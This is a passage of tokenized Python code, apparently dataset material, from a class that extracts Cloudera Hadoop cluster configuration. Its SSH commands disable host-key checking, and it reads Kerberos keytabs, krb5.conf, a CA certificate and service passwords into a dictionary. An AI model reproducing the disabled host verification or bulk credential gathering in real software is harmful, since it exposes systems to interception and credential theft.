"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cd", "h", "\\u", "manage", "r", "\\u", "tunnel_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "error_", "(_", "'", "Cann", "ot", " ", "stop", " ", "tunnel", ":", " ", "'_", "+_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "details_", "(_", "self_", ",_", "settings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "host_", "in_", "settings_", "[_", "'", "host", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "cd", "h", "-", "manage", "r", "'_", "in_", "host_", "[_", "'", "host", "name", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "nodes", "\\u", "info_", "(_", "self_", ",_", "name_", ",_", "settings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "host_", "in_", "settings_", "[_", "'", "host", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "in_", "host_", "[_", "'", "host", "name", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "._", "append_", "(_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "nodes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extract", "\\u", "service", "\\u", "name", "node_", "(_", "self_", ",_", "service", "\\u", "name_", ",_", "role", "\\u", "name_", ",_", "settings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hdfs", "\\u", "service_", "=_", "self_", "._", "\\u", "find", "\\u", "item", "\\u", "by", "\\u", "attr", "\\u", "value_", "(_", "service", "\\u", "name_", ",_", "'", "name", "'_", ",_", "settings_", "[_", "'", "cluster", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "service", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hdfs", "\\u", "name", "node_", "=_", "self_", "._", "\\u", "find", "\\u", "item", "\\u", "by", "\\u", "attr", "\\u", "value_", "(_", "role", "\\u", "name_", ",_", "'", "name", "'_", ",_", "hdfs", "\\u", "service_", "[_", "'", "role", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "id_", "=_", "hdfs", "\\u", "name", "node_", "[_", "'", "host", "Ref", "'_", "]_", "[_", "'", "host", "Id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "find", "\\u", "item", "\\u", "by", "\\u", "attr", "\\u", "value_", "(_", "host", "\\u", "id_", ",_", "'", "host", "Id", "'_", ",_", "settings_", "[_", "'", "host", "s", "'_", "]_", ")_", "[_", "'", "host", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "client", "\\u", "config", "\\u", "for", "\\u", "service_", "(_", "self_", ",_", "service", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "requests_", "._", "get_", "(_", "'", "http", "://", "{", "0", "}:", "{", "1", "}/", "api", "/", "v1", "0", "/", "cluster", "s", "/", "CD", "H", "-", "cluster", "/", "service", "s", "/{", "2", "}/", "client", "Config", "'_", "._", "format_", "(_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "address_", ",_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "port_", ",_", "service", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "base64_", "._", "standard", "\\u", "b64encode_", "(_", "result_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "keyta", "b_", "(_", "self_", ",_", "principal", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Generat", "ing", " ", "keyta", "b", " ", "for", " ", "{}", " ", "principal", ".'_", "._", "format_", "(_", "principal", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "create", "\\u", "ssh", "\\u", "connection_", "(_", "self_", "._", "\\u", "hostname_", ",_", "self_", "._", "\\u", "username_", ",_", "self_", "._", "\\u", "key", "\\u", "filename_", ",_", "self_", "._", "\\u", "key", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sftp_", "=_", "self_", "._", "ssh", "\\u", "connection_", "._", "open", "\\u", "sftp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sftp_", "._", "put_", "(_", "'", "util", "s", "/", "generat", "e\\u", "keyta", "b", "\\u", "script", ".", "sh", "'_", ",_", "'/", "tmp", "/", "generat", "e\\u", "keyta", "b", "\\u", "script", ".", "sh", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ssh", "\\u", "call", "\\u", "command_", "(_", "'", "scp", " ", "-", "o", " ", "User", "Kno", "wn", "Host", "s", "File", "=", "/", "dev", "/", "null", " ", "-", "o", " ", "Stri", "ct", "Host", "Key", "Check", "ing", "=", "no", " ", "/", "tmp", "/", "generat", "e\\u", "keyta", "b", "\\u", "script", ".", "sh", " ", "{", "0", "}:", "/", "tmp", "/'_", "._", "format_", "(_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ssh", "\\u", "call", "\\u", "command_", "(_", "'", "ssh", " ", "-", "t", " ", "{", "0", "}", " ", "-", "o", " ", "User", "Kno", "wn", "Host", "s", "File", "=", "/", "dev", "/", "null", " ", "-", "o", " ", "Stri", "ct", "Host", "Key", "Check", "ing", "=", "no", " ", "\"", "chm", "od", " ", "700", " ", "/", "tmp", "/", "generat", "e\\u", "keyta", "b", "\\u", "script", ".", "sh", "\"'_", "._", "format_", "(_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keyta", "b", "\\u", "hash_", "=_", "self_", "._", "ssh", "\\u", "call", "\\u", "command_", "(_", "'", "ssh", " ", "-", "t", " ", "{", "0", "}", " ", "-", "o", " ", "User", "Kno", "wn", "Host", "s", "File", "=", "/", "dev", "/", "null", " ", "-", "o", " ", "Stri", "ct", "Host", "Key", "Check", "ing", "=", "no", " ", "\"/", "tmp", "/", "generat", "e\\u", "keyta", "b", "\\u", "script", ".", "sh", " ", "{", "1", "}\"'_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", ",_", "principal", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "close", "\\u", "ssh", "\\u", "connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "keyta", "b", "\\u", "hash_", "._", "splitlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Key", "tab", " ", "for", " ", "{}", " ", "principal", " ", "has", " ", "bee", "n", " ", "generat", "ed", ".'_", "._", "format_", "(_", "principal", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'\"{", "}\"'_", "._", "format_", "(_", "''_", "._", "join_", "(_", "lines_", "[_", "2_", ":_", "-_", "2_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "base64", "\\u", "for", "\\u", "file_", "(_", "self_", ",_", "file", "\\u", "path_", ",_", "hostname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Generat", "ing", " ", "base64", " ", "for", " ", "{}", " ", "file", ".'_", "._", "format_", "(_", "file", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "create", "\\u", "ssh", "\\u", "connection_", "(_", "self_", "._", "\\u", "hostname_", ",_", "self_", "._", "\\u", "username_", ",_", "self_", "._", "\\u", "key", "\\u", "filename_", ",_", "self_", "._", "\\u", "key", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base64", "\\u", "file", "\\u", "hash_", "=_", "self_", "._", "ssh", "\\u", "call", "\\u", "command_", "(_", "'", "ssh", " ", "-", "t", " ", "{", "0", "}", " ", "-", "o", " ", "User", "Kno", "wn", "Host", "s", "File", "=", "/", "dev", "/", "null", " ", "-", "o", " ", "Stri", "ct", "Host", "Key", "Check", "ing", "=", "no", " ", "\"", "base64", " ", "{", "1", "}\"'_", "._", "format_", "(_", "hostname_", ",_", "file", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "close", "\\u", "ssh", "\\u", "connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "base64", "\\u", "file", "\\u", "hash_", "._", "splitlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "logger_", "._", "info_", "(_", "'", "Base", "64", " ", "hash", " ", "for", " ", "{", "0", "}", " ", "file", " ", "on", " ", "{", "1", "}", " ", "machine", " ", "has", " ", "bee", "n", " ", "generat", "ed", ".'_", "._", "format_", "(_", "file", "\\u", "path_", ",_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'\"{", "}\"'_", "._", "format_", "(_", "''_", "._", "join_", "(_", "lines_", "[_", "2_", ":_", "-_", "2_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "all", "\\u", "deployments", "\\u", "conf_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "deployments", "\\u", "settings_", "=_", "json_", "._", "loads_", "(_", "requests_", "._", "get_", "(_", "'", "http", "://'_", "+_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "address_", "+_", "':'_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "str_", "(_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "port_", ")_", "+_", "'/", "api", "/", "v1", "0", "/", "cm", "/", "deploy", "ment", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "auth_", "=_", "(_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "user_", ",_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "password_", ")_", ")_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "cloud", "era", "\\u", "manage", "r", "\\u", "internal", "\\u", "host", "'_", "]_", "=_", "self_", "._", "extract", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "details_", "(_", "deployments", "\\u", "settings_", ")_", "[_", "'", "host", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "\\u", "is", "\\u", "kerberos", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "[_", "'", "kerberos", "\\u", "host", "'_", "]_", "=_", "result_", "[_", "'", "cloud", "era", "\\u", "manage", "r", "\\u", "internal", "\\u", "host", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hdfs", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "keyta", "b_", "(_", "'", "hdfs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "auth", "\\u", "gateway", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "keyta", "b_", "(_", "'", "auth", "gateway", "/", "sys", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "keyta", "b_", "(_", "'", "hg", "m", "/", "sys", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "vca", "p", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "keyta", "b_", "(_", "'", "vca", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "krb", "5", "\\u", "base64", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "base64", "\\u", "for", "\\u", "file_", "(_", "'/", "etc", "/", "krb", "5", ".", "conf", "'_", ",_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "kerberos", "\\u", "cacert", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "base64", "\\u", "for", "\\u", "file_", "(_", "'/", "var", "/", "krb", "5", "kd", "c", "/", "cacert", ".", "pe", "m", "'_", ",_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "ip_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "helper_", "=_", "Cd", "h", "Ap", "i", "Helper_", "(_", "Ap", "i", "Resource_", "(_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "address_", ",_", "username_", "=_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "user_", ",_", "password_", "=_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "password_", ",_", "version_", "=_", "9_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hg", "m", "\\u", "service_", "=_", "helper_", "._", "get", "\\u", "service", "\\u", "from", "\\u", "cd", "h_", "(_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "adress", "'_", "]_", "=_", "'", "http", "://'_", "+_", "helper_", "._", "get", "\\u", "host_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "'_", ")_", "+_", "':'_", "+_", "helper_", "._", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "rest", "\\u", "port", "'_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "-", "BASE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "password", "'_", "]_", "=_", "helper_", "._", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "basic", "\\u", "auth", "\\u", "pass", "'_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "-", "BASE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "user", "name", "'_", "]_", "=_", "helper_", "._", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "basic", "\\u", "auth", "\\u", "user", "'_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "-", "BASE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sentry", "\\u", "service_", "=_", "helper_", "._", "get", "\\u", "service", "\\u", "from", "\\u", "cd", "h_", "(_", "'", "SENT", "RY", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "sentry", "\\u", "port", "'_", "]_", "=_", "helper_", "._", "get", "\\u", "entry_", "(_", "sentry", "\\u", "service_", ",_", "'", "sentry", "\\u", "service", "\\u", "server", "\\u", "rpc", "\\u", "port", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "sentry", "\\u", "address", "'_", "]_", "=_", "helper_", "._", "get", "\\u", "host_", "(_", "sentry", "\\u", "service_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "sentry", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "self_", "._", "generat", "e\\u", "keyta", "b_", "(_", "'", "hive", "/", "sys", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "auth", "\\u", "gateway", "\\u", "profile", "'_", "]_", "=_", "'", "cloud", ",", "zookeeper", "-", "auth", "-", "gateway", ",", "hdfs", "-", "auth", "-", "gateway", ",", "kerberos", "-", "hg", "m", "-", "auth", "-", "gateway", ",", "sentry", "-", "auth", "-", "gateway", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "[_", "'", "sentry", "\\u", "port", "'_", "]_", "=_", "\"''\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "sentry", "\\u", "address", "'_", "]_", "=_", "\"''\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "sentry", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "\"''\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hdfs", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "\"''\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "auth", "\\u", "gateway", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "\"''\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "vca", "p", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "'\"\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "keyta", "b", "\\u", "value", "'_", "]_", "=_", "'\"\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "krb", "5", "\\u", "base64", "'_", "]_", "=_", "'\"\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "kerberos", "\\u", "cacert", "'_", "]_", "=_", "'\"\"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "auth", "\\u", "gateway", "\\u", "profile", "'_", "]_", "=_", "'", "cloud", ",", "zookeeper", "-", "auth", "-", "gateway", ",", "hdfs", "-", "auth", "-", "gateway", ",", "https", "-", "hg", "m", "-", "auth", "-", "gateway", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "helper_", "=_", "Cd", "h", "Ap", "i", "Helper_", "(_", "Ap", "i", "Resource_", "(_", "self_", "._", "\\u", "local", "\\u", "bind", "\\u", "address_", ",_", "username_", "=_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "user_", ",_", "password_", "=_", "self_", "._", "\\u", "cd", "h", "\\u", "manage", "r", "\\u", "password_", ",_", "version_", "=_", "9_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hg", "m", "\\u", "service_", "=_", "helper_", "._", "get", "\\u", "service", "\\u", "from", "\\u", "cd", "h_", "(_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "adress", "'_", "]_", "=_", "'", "https", "://'_", "+_", "helper_", "._", "get", "\\u", "host_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "'_", ")_", "+_", "':'_", "+_", "helper_", "._", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "rest", "\\u", "port", "'_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "-", "BASE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "password", "'_", "]_", "=_", "helper_", "._", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "basic", "\\u", "auth", "\\u", "pass", "'_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "-", "BASE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hg", "m", "\\u", "user", "name", "'_", "]_", "=_", "helper_", "._", "get", "\\u", "entry", "\\u", "from", "\\u", "group_", "(_", "hg", "m", "\\u", "service_", ",_", "'", "basic", "\\u", "auth", "\\u", "user", "'_", ",_", "'", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "-", "HA", "DOO", "PG", "RO", "UPS", "MAPPING", "\\u", "REST", "SERVER", "-", "BASE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "master", "\\u", "nodes_", "=_", "self_", "._", "extract", "\\u", "nodes", "\\u", "info_", "(_", "'", "cd", "h", "-", "master", "'_", ",_", "deployments", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "node_", "in_", "enumerate_", "(_", "master", "\\u", "nodes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "[_", "'", "master", "\\u", "node", "\\u", "host", "\\u'_", "+_", "str_", "(_", "i_", "+_", "1_", ")_", "]_", "=_", "node_", "[_", "'", "host", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "[_", "'", "name", "node", "\\u", "internal", "\\u", "host", "'_", "]_", "=_", "self_", "._", "extract", "\\u", "service", "\\u", "name", "node_", "(_", "'", "HDF", "S", "'_", ",_", "'", "HDF", "S", "-", "NAME", "NODE", "'_", ",_", "deployments", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "hue", "\\u", "node", "'_", "]_", "=_", "self_", "._", "extract", "\\u", "service", "\\u", "name", "node_", "(_", "'", "HU", "E", "'_", ",_", "'", "HU", "E-", "HU", "E", "\\u", "SERVER", "'_", ",_", "deployments", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "h2", "o", "\\u", "node", "'_", "]_", "=_", "self_", "._", "extract", "\\u", "nodes", "\\u", "info_", "(_", "'", "cd", "h", "-", "worker", "-0", "'_", ",_", "deployments", "\\u", "settings_", ")_", "[_", "0_", "]_", "[_", "'", "host", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "arc", "adi", "a", "\\u", "node", "'_", "]_", "=_", "self_", "._", "extract", "\\u", "nodes", "\\u", "info_", "(_", "'", "cd", "h", "-", "worker", "-0", "'_", ",_", "deployments", "\\u", "settings_", ")_", "[_", "0_", "]_", "[_", "'", "host", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "import", "\\u", "hadoop", "\\u", "conf", "\\u", "hdfs", "'_", "]_", "=_", "self_", "._", "get", "\\u", "client", "\\u", "config", "\\u", "for", "\\u", "service_", "(_", "'", "HDF", "S", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "import", "\\u", "hadoop", "\\u", "conf", "\\u", "hbase", "'_", "]_", "=_", "self_", "._", "get", "\\u", "client", "\\u", "config", "\\u", "for", "\\u", "service_", "(_", "'", "HB", "AS", "E", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "'", "import", "\\u", "hadoop", "\\u", "conf", "\\u", "yarn", "'_", "]_", "=_", "self_", "._", "get", "\\u", "client", "\\u", "config", "\\u", "for", "\\u", "service_", "(_", "'", "YA", "RN", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "find", "\\u", "item", "\\u", "by", "\\u", "attr", "\\u", "value_", "(_", "self_", ",_", "attr", "\\u", "value_", ",_", "attr", "\\u", "name_", ",_", "array", "\\u", "with", "\\u", "dicts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "next_", "(_", "item_", "for_", "item_", "in_", "array", "\\u", "with", "\\u", "dicts_", "if_", "item_", "[_", "attr", "\\u", "name_", "]_", "==_", "attr", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cd", "h", "Conf", "Extractor_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "host", "\\u", "ip_", "(_", "self_", ",_", "host_", ",_", "ansi", "ble", "\\u", "ini_", 